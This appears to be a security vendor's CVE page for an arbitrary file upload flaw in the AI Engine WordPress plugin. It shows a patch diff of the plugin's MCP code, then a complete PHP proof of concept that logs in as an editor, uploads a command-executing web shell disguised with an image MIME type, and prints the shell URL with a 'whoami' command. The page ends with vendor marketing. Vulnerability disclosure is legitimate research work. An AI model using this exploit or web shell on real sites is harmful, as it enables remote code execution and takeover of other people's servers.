-    'dimensions' => [ 512, 1536 ],
-    'tags' => ['core', 'embedding'],
+    'dimensions' => 1536, // Native output dimension
+    'tags' => ['core', 'embedding', 'matryoshka'],
   ],
   [
     'model' => 'text-embedding-3-large',
@@ -842,9 +845,10 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
-    'dimensions' => [ 256, 1024, 3072 ],
-    'tags' => ['core', 'embedding'],
+    'dimensions' => 3072, // Native output dimension
+    'tags' => ['core', 'embedding', 'matryoshka'],
   ],
+  // Ada-002 is a legacy model with fixed dimensions (no truncation support)
   [
     'model' => 'text-embedding-ada-002',
     'name' => 'Embedding Ada-002',
@@ -854,7 +858,7 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
-    'dimensions' => [ 1536 ],
+    'dimensions' => 1536, // Fixed dimension (no matryoshka support)
     'tags' => ['core', 'embedding'],
   ],
   // Audio Models:
--- a/ai-engine/labs/mcp-core.php
+++ b/ai-engine/labs/mcp-core.php
@@ -261,6 +261,11 @@
               'description' => 'Optional: fields to include (default: all). Options: meta, terms, thumbnail, author',
               'items' => [ 'type' => 'string' ],
             ],
+            'exclude' => [
+              'type' => 'array',
+              'description' => 'Optional: fields to exclude from post data. Options: content (useful for posts with huge content like many galleries)',
+              'items' => [ 'type' => 'string' ],
+            ],
           ],
           'required' => [ 'ID' ],
         ],
@@ -284,7 +289,7 @@
       ],
       'wp_update_post' => [
         'name' => 'wp_update_post',
-        'description' => 'Update post fields and/or meta in ONE call. Pass ID + "fields" object (post_title, post_content, post_status, etc.) and/or "meta_input" object for custom fields. Efficient for WooCommerce products: update title + price + stock together. Note: post_category REPLACES categories; use wp_add_post_terms to append instead.',
+        'description' => 'Update post fields and/or meta in ONE call. Pass ID + "fields" object (post_title, post_content, post_status, etc.) and/or "meta_input" object for custom fields. Efficient for WooCommerce products: update title + price + stock together. Note: post_category REPLACES categories; use wp_add_post_terms to append instead. Use schedule_for to easily schedule posts.',
         'inputSchema' => [
           'type' => 'object',
           'properties' => [
@@ -305,6 +310,10 @@
               'type' => 'object',
               'description' => 'Associative array of custom fields.'
             ],
+            'schedule_for' => [
+              'type' => 'string',
+              'description' => 'Schedule post for future publication. Provide local datetime (e.g., "2026-02-02 09:00:00"). Automatically sets status to "future" and calculates GMT from WordPress timezone.'
+            ],
           ],
           'required' => [ 'ID' ],
         ],
@@ -571,7 +580,7 @@
     // Add category and annotations to each tool
     foreach ( $tools as &$tool ) {
       if ( !isset( $tool['category'] ) ) {
-        $tool['category'] = 'Core';
+        $tool['category'] = 'AI Engine (Core)';
       }

       // Add MCP tool annotations based on tool name/behavior
@@ -920,6 +929,15 @@
         }

         $include = $a['include'] ?? [ 'meta', 'terms', 'thumbnail', 'author' ];
+        $exclude = $a['exclude'] ?? [];
+
+        // Handle JSON strings (some MCP clients send arrays as JSON strings)
+        if ( is_string( $include ) ) {
+          $include = json_decode( $include, true ) ?? [];
+        }
+        if ( is_string( $exclude ) ) {
+          $exclude = json_decode( $exclude, true ) ?? [];
+        }

         $snapshot = [
           'post' => [
@@ -927,7 +945,6 @@
             'post_title' => $p->post_title,
             'post_type' => $p->post_type,
             'post_status' => $p->post_status,
-            'post_content' => $this->clean_html( $p->post_content ),
             'post_excerpt' => $this->post_excerpt( $p ),
             'post_name' => $p->post_name,
             'permalink' => get_permalink( $p ),
@@ -936,6 +953,11 @@
           ],
         ];

+        // Include content unless excluded (useful for posts with huge content)
+        if ( !in_array( 'content', $exclude ) ) {
+          $snapshot['post']['post_content'] = $this->clean_html( $p->post_content );
+        }
+
         // Include all post meta
         if ( in_array( 'meta', $include ) ) {
           $snapshot['meta'] = [];
@@ -1015,16 +1037,23 @@
         if ( $a['post_name'] ?? '' ) {
           $ins['post_name'] = sanitize_title( $a['post_name'] );
         }
-        if ( !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-          $ins['meta_input'] = $a['meta_input'];
+
+        // Handle JSON strings for meta_input (some MCP clients send objects as JSON strings)
+        $meta_input = $a['meta_input'] ?? [];
+        if ( is_string( $meta_input ) ) {
+          $meta_input = json_decode( $meta_input, true ) ?? [];
+        }
+        if ( !empty( $meta_input ) && is_array( $meta_input ) ) {
+          $ins['meta_input'] = $meta_input;
         }
+
         $new = wp_insert_post( $ins, true );
         if ( is_wp_error( $new ) ) {
           $r['error'] = [ 'code' => $new->get_error_code(), 'message' => $new->get_error_message() ];
         }
         else {
-          if ( empty( $ins['meta_input'] ) && !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-            foreach ( $a['meta_input'] as $k => $v ) {
+          if ( empty( $ins['meta_input'] ) && !empty( $meta_input ) && is_array( $meta_input ) ) {
+            foreach ( $meta_input as $k => $v ) {
               update_post_meta( $new, sanitize_key( $k ), maybe_serialize( $v ) );
             }
           }
@@ -1039,22 +1068,48 @@
           break;
         }
         $c = [ 'ID' => intval( $a['ID'] ) ];
-        if ( !empty( $a['fields'] ) && is_array( $a['fields'] ) ) {
-          foreach ( $a['fields'] as $k => $v ) {
+
+        // Handle JSON strings (some MCP clients send objects as JSON strings)
+        $fields = $a['fields'] ?? [];
+        if ( is_string( $fields ) ) {
+          $fields = json_decode( $fields, true ) ?? [];
+        }
+        if ( !empty( $fields ) && is_array( $fields ) ) {
+          foreach ( $fields as $k => $v ) {
             $c[ $k ] = in_array( $k, [ 'post_content', 'post_excerpt' ], true ) ? $this->clean_html( $v ) : sanitize_text_field( $v );
           }
         }
+
+        // Handle schedule_for convenience parameter
+        if ( !empty( $a['schedule_for'] ) ) {
+          $schedule_date = sanitize_text_field( $a['schedule_for'] );
+          $c['post_status'] = 'future';
+          $c['post_date'] = $schedule_date;
+          $c['post_date_gmt'] = get_gmt_from_date( $schedule_date );
+          $c['edit_date'] = true; // Required for WordPress to respect date changes
+        }
+
         $u = ( count( $c ) > 1 ) ? wp_update_post( $c, true ) : $c['ID'];
         if ( is_wp_error( $u ) ) {
           $r['error'] = [ 'code' => $u->get_error_code(), 'message' => $u->get_error_message() ];
           break;
         }
-        if ( !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-          foreach ( $a['meta_input'] as $k => $v ) {
+
+        // Handle JSON strings for meta_input
+        $meta_input = $a['meta_input'] ?? [];
+        if ( is_string( $meta_input ) ) {
+          $meta_input = json_decode( $meta_input, true ) ?? [];
+        }
+        if ( !empty( $meta_input ) && is_array( $meta_input ) ) {
+          foreach ( $meta_input as $k => $v ) {
             update_post_meta( $u, sanitize_key( $k ), maybe_serialize( $v ) );
           }
         }
-        $this->add_result_text( $r, 'Post #' . $u . ' updated' );
+        $msg = 'Post #' . $u . ' updated';
+        if ( !empty( $a['schedule_for'] ) ) {
+          $msg .= ' and scheduled for ' . $a['schedule_for'];
+        }
+        $this->add_result_text( $r, $msg );
         break;

         /* ===== Posts: delete ===== */
@@ -1089,8 +1144,15 @@
           break;
         }
         $pid = intval( $a['ID'] );
-        if ( !empty( $a['meta'] ) && is_array( $a['meta'] ) ) {
-          foreach ( $a['meta'] as $k => $v ) {
+
+        // Handle JSON strings for meta (some MCP clients send objects as JSON strings)
+        $meta = $a['meta'] ?? null;
+        if ( is_string( $meta ) ) {
+          $meta = json_decode( $meta, true );
+        }
+
+        if ( !empty( $meta ) && is_array( $meta ) ) {
+          foreach ( $meta as $k => $v ) {
             update_post_meta( $pid, sanitize_key( $k ), maybe_serialize( $v ) );
           }
         }
@@ -1252,9 +1314,14 @@
           $r['error'] = [ 'code' => -32602, 'message' => 'ID & terms required' ];
           break;
         }
+        $terms = $a['terms'];
+        // Handle JSON strings (some MCP clients send arrays as JSON strings)
+        if ( is_string( $terms ) ) {
+          $terms = json_decode( $terms, true ) ?? [];
+        }
         $tax = sanitize_key( $a['taxonomy'] ?? 'category' );
         $append = !isset( $a['append'] ) || $a['append'];
-        $set = wp_set_post_terms( intval( $a['ID'] ), $a['terms'], $tax, $append );
+        $set = wp_set_post_terms( intval( $a['ID'] ), $terms, $tax, $append );
         if ( is_wp_error( $set ) ) {
           $r['error'] = [ 'code' => $set->get_error_code(), 'message' => $set->get_error_message() ];
         }
--- a/ai-engine/labs/mcp.php
+++ b/ai-engine/labs/mcp.php
@@ -85,7 +85,7 @@
       },
     ] );

-    // No-Auth URL endpoints (with token in path)
+    // No-Auth URL endpoints (with token in path) - Legacy SSE
     $noauth_enabled = $this->core->get_option( 'mcp_noauth_url' );
     if ( $noauth_enabled && !empty( $this->bearer_token ) ) {
       register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
@@ -115,6 +115,31 @@
         'show_in_index' => false,
       ] );
     }
+
+    // Streamable HTTP endpoint (Modern transport for Claude Code)
+    // Uses Authorization: Bearer header for authentication
+    // Automatically enabled when MCP module is active and bearer token is set
+    if ( !empty( $this->bearer_token ) ) {
+      // Main endpoint with Authorization header (at /http path)
+      register_rest_route( $this->namespace, '/http', [
+        'methods' => [ 'GET', 'POST', 'DELETE' ],
+        'callback' => [ $this, 'handle_streamable_http' ],
+        'permission_callback' => function ( $request ) {
+          return $this->can_access_mcp( $request );
+        },
+        'show_in_index' => false,
+      ] );
+
+      // Alternative endpoint with token in URL (for clients that don't support headers)
+      register_rest_route( $this->namespace, '/' . $this->bearer_token, [
+        'methods' => [ 'GET', 'POST', 'DELETE' ],
+        'callback' => [ $this, 'handle_streamable_http' ],
+        'permission_callback' => function ( $request ) {
+          return $this->handle_noauth_access_streamable( $request );
+        },
+        'show_in_index' => false,
+      ] );
+    }
   }
   #endregion

@@ -146,7 +171,7 @@
     // If no authorization header but bearer token is configured, deny access
     if ( !$hdr && !empty( $this->bearer_token ) ) {
       if ( $this->logging ) {
-        error_log( '[AI Engine MCP] ❌ No authorization header provided.' );
+        error_log( '[AI Engine MCP] ❌ No authorization header provided. Server may be stripping headers.' );
       }
       return false;
     }
@@ -177,9 +202,8 @@
           wp_set_current_user( $admin->ID, $admin->user_login );
         }
         $auth_result = 'static';
-        // Only log auth for SSE endpoint
-        if ( $this->logging && strpos( $request->get_route(), '/sse' ) !== false ) {
-          error_log( '[AI Engine MCP] 🔐 Auth OK' );
+        if ( $this->logging ) {
+          error_log( '[AI Engine MCP] 🔐 Bearer token auth OK' );
         }
         return true;
       }
@@ -227,6 +251,25 @@
     }
     return true;
   }
+
+  public function handle_noauth_access_streamable( $request ) {
+    // For Streamable HTTP with token in URL path (no trailing slash)
+    $route = $request->get_route();
+    $expected = '/' . $this->namespace . '/' . $this->bearer_token;
+    if ( $route !== $expected ) {
+      if ( $this->logging ) {
+        error_log( '[AI Engine MCP] ❌ Invalid Streamable HTTP no-auth URL access attempt.' );
+      }
+      return false;
+    }
+
+    // Set the current user to admin since token is valid
+    if ( $admin = $this->core->get_admin_user() ) {
+      wp_set_current_user( $admin->ID, $admin->user_login );
+    }
+    return true;
+  }
+
   #endregion

   #region Helpers (log / JSON-RPC utils)
@@ -380,7 +423,7 @@
             'result' => [
               'protocolVersion' => $this->protocol_version,
               'serverInfo' => (object) [
-                'name' => get_bloginfo( 'name' ) . ' MCP',
+                'name' => 'AI Engine - ' . get_bloginfo( 'name' ),
                 'version' => $this->server_version,
               ],
               'capabilities' => (object) [
@@ -637,6 +680,198 @@
   }
   #endregion

+  #region Handle Streamable HTTP (Modern MCP transport)
+  /**
+   * Handle Streamable HTTP requests per MCP specification.
+   * This is the modern transport used by Claude Code and other MCP clients.
+   *
+   * - POST: Send JSON-RPC request, receive JSON response (or SSE for streaming)
+   * - GET: Open SSE stream for server-initiated messages
+   * - DELETE: Terminate the session
+   *
+   * @see https://modelcontextprotocol.io/specification/2025-03-26/basic/transports#streamable-http
+   */
+  public function handle_streamable_http( WP_REST_Request $request ) {
+    $method = $request->get_method();
+
+    switch ( $method ) {
+      case 'POST':
+        return $this->handle_streamable_http_post( $request );
+
+      case 'GET':
+        return $this->handle_streamable_http_get( $request );
+
+      case 'DELETE':
+        return $this->handle_streamable_http_delete( $request );
+
+      default:
+        return new WP_REST_Response( [
+          'error' => 'Method not allowed'
+        ], 405 );
+    }
+  }
+
+  /**
+   * Handle POST requests for Streamable HTTP.
+   * This processes JSON-RPC requests and returns JSON responses.
+   */
+  private function handle_streamable_http_post( WP_REST_Request $request ) {
+    $raw_body = $request->get_body();
+
+    if ( empty( $raw_body ) ) {
+      return new WP_REST_Response( [
+        'jsonrpc' => '2.0',
+        'id' => null,
+        'error' => [ 'code' => -32700, 'message' => 'Parse error: empty body' ]
+      ], 400 );
+    }
+
+    $data = json_decode( $raw_body, true );
+
+    if ( json_last_error() !== JSON_ERROR_NONE ) {
+      return new WP_REST_Response( [
+        'jsonrpc' => '2.0',
+        'id' => null,
+        'error' => [ 'code' => -32700, 'message' => 'Parse error: invalid JSON' ]
+      ], 400 );
+    }
+
+    // Log the request if debugging is enabled
+    if ( $this->logging && isset( $data['method'] ) ) {
+      error_log( '[AI Engine MCP HTTP] ↓ ' . $data['method'] );
+    }
+
+    // Reuse the existing direct JSON-RPC handler
+    return $this->handle_direct_jsonrpc( $request, $data );
+  }
+
+  /**
+   * Handle GET requests for Streamable HTTP.
+   * This opens an SSE stream for server-to-client messages.
+   * Used when the server needs to send notifications or progress updates.
+   */
+  private function handle_streamable_http_get( WP_REST_Request $request ) {
+    // Check Accept header - must accept text/event-stream
+    $accept = $request->get_header( 'accept' );
+    if ( strpos( $accept, 'text/event-stream' ) === false ) {
+      return new WP_REST_Response( [
+        'error' => 'Accept header must include text/event-stream'
+      ], 406 );
+    }
+
+    // Get or create session ID
+    $session_header = $request->get_header( 'mcp-session-id' );
+    $session_id = !empty( $session_header ) ? sanitize_text_field( $session_header ) : wp_generate_uuid4();
+
+    if ( $this->logging ) {
+      error_log( '[AI Engine MCP HTTP] 📡 SSE stream opened for session: ' . substr( $session_id, 0, 8 ) . '...' );
+    }
+
+    // Set up SSE output
+    @ini_set( 'zlib.output_compression', '0' );
+    @ini_set( 'output_buffering', '0' );
+    @ini_set( 'implicit_flush', '1' );
+    if ( function_exists( 'ob_implicit_flush' ) ) {
+      ob_implicit_flush( true );
+    }
+
+    header( 'Content-Type: text/event-stream' );
+    header( 'Cache-Control: no-cache' );
+    header( 'X-Accel-Buffering: no' );
+    header( 'Connection: keep-alive' );
+    header( 'Mcp-Session-Id: ' . $session_id );
+
+    while ( ob_get_level() ) {
+      ob_end_flush();
+    }
+
+    $this->session_id = $session_id;
+    $this->last_action_time = time();
+
+    // Send initial connection event
+    echo "event: openn";
+    echo 'data: {"session":"' . esc_js( $session_id ) . ""}nn";
+    flush();
+
+    // Main SSE loop - listen for server-initiated messages
+    while ( true ) {
+      $max_time = $this->logging ? 30 : 60 * 3;
+      $idle = ( time() - $this->last_action_time ) >= $max_time;
+
+      if ( connection_aborted() || $idle ) {
+        if ( $this->logging ) {
+          error_log( '[AI Engine MCP HTTP] 🔚 SSE closed (' . ( $idle ? 'idle' : 'abort' ) . ')' );
+        }
+        break;
+      }
+
+      // Check for queued messages
+      foreach ( $this->fetch_messages( $session_id ) as $msg ) {
+        if ( isset( $msg['method'] ) && $msg['method'] === 'mwai/kill' ) {
+          echo "event: closendata: {}nn";
+          flush();
+          exit;
+        }
+
+        echo "event: messagen";
+        echo 'data: ' . wp_json_encode( $msg, JSON_UNESCAPED_UNICODE ) . "nn";
+        flush();
+        $this->last_action_time = time();
+      }
+
+      // Heartbeat every 10 seconds
+      $time_since_last = time() - $this->last_action_time;
+      if ( $time_since_last >= 10 && $time_since_last % 10 === 0 ) {
+        echo ": heartbeatnn";
+        flush();
+      }
+
+      usleep( 200000 ); // 200ms
+    }
+
+    exit;
+  }
+
+  /**
+   * Handle DELETE requests for Streamable HTTP.
+   * This terminates the session and cleans up any resources.
+   */
+  private function handle_streamable_http_delete( WP_REST_Request $request ) {
+    $session_header = $request->get_header( 'mcp-session-id' );
+
+    if ( empty( $session_header ) ) {
+      return new WP_REST_Response( [
+        'error' => 'Mcp-Session-Id header required'
+      ], 400 );
+    }
+
+    $session_id = sanitize_text_field( $session_header );
+
+    if ( $this->logging ) {
+      error_log( '[AI Engine MCP HTTP] 🗑️ Session terminated: ' . substr( $session_id, 0, 8 ) . '...' );
+    }
+
+    // Queue kill signal for any active SSE streams
+    $this->store_message( $session_id, [
+      'jsonrpc' => '2.0',
+      'method' => 'mwai/kill'
+    ] );
+
+    // Clean up any remaining transients for this session
+    global $wpdb;
+    $like = $wpdb->esc_like( '_transient_' . "{$this->queue_key}_{$session_id}_" ) . '%';
+    $wpdb->query(
+      $wpdb->prepare(
+        "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s",
+        $like
+      )
+    );
+
+    // Return 204 No Content on successful termination
+    return new WP_REST_Response( null, 204 );
+  }
+  #endregion
+
   #region Handle /messages (JSON-RPC ingress)
   public function handle_message( WP_REST_Request $request ) {
     $sess = sanitize_text_field( $request->get_param( 'session_id' ) );
@@ -732,7 +967,7 @@
             'result' => [
               'protocolVersion' => $this->protocol_version,
               'serverInfo' => (object) [
-                'name' => get_bloginfo( 'name' ) . ' MCP',
+                'name' => 'AI Engine - ' . get_bloginfo( 'name' ),
                 'version' => $this->server_version,
               ],
               'capabilities' => (object) [
@@ -975,10 +1210,12 @@
               if ( !isset( $definition['description'] ) ) {
                 $definition['description'] = 'Value can be of any type';
               }
-            } else {
+            }
+            else {
               $definition['type'] = $type_array;
             }
-          } else {
+          }
+          else {
             $definition['type'] = (string) $definition['type'];
           }
         }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23802 - AI Engine – The Chatbot, AI Framework & MCP for WordPress <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php"; // CHANGE THIS
$username = "editor_user"; // CHANGE THIS - Editor or higher privileged user
$password = "editor_password"; // CHANGE THIS
$cookie_file = "/tmp/cookies.txt";

// Step 1: Authenticate to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Verify authentication by checking for WordPress admin bar
if (strpos($response, 'wp-admin-bar') === false) {
    die("Authentication failed. Check credentials.");
}

// Step 3: Create malicious PHP file
$php_shell = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; system($_REQUEST['cmd']); echo '</pre>'; } ?>";
$temp_file = tempnam(sys_get_temp_dir(), 'shell_');
file_put_contents($temp_file, $php_shell);

// Step 4: Prepare file upload with manipulated MIME type
$post_data = array(
    'action' => 'mwai_upload_file',
    'purpose' => 'chat',
    'mimeType' => 'image/jpeg' // Bypass: claim image but upload PHP
);

// Step 5: Execute the exploit
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_data, array(
    'file' => new CURLFile($temp_file, 'image/jpeg', 'shell.php')
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 6: Parse response
$result = json_decode($response, true);
if ($http_code == 200 && isset($result['success']) && $result['success']) {
    echo "Exploit successful!n";
    echo "Uploaded file URL: " . $result['url'] . "n";
    echo "Access shell with: " . $result['url'] . "?cmd=whoamin";
} else {
    echo "Exploit failed. Response: " . $response . "n";
}

// Cleanup
unlink($temp_file);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School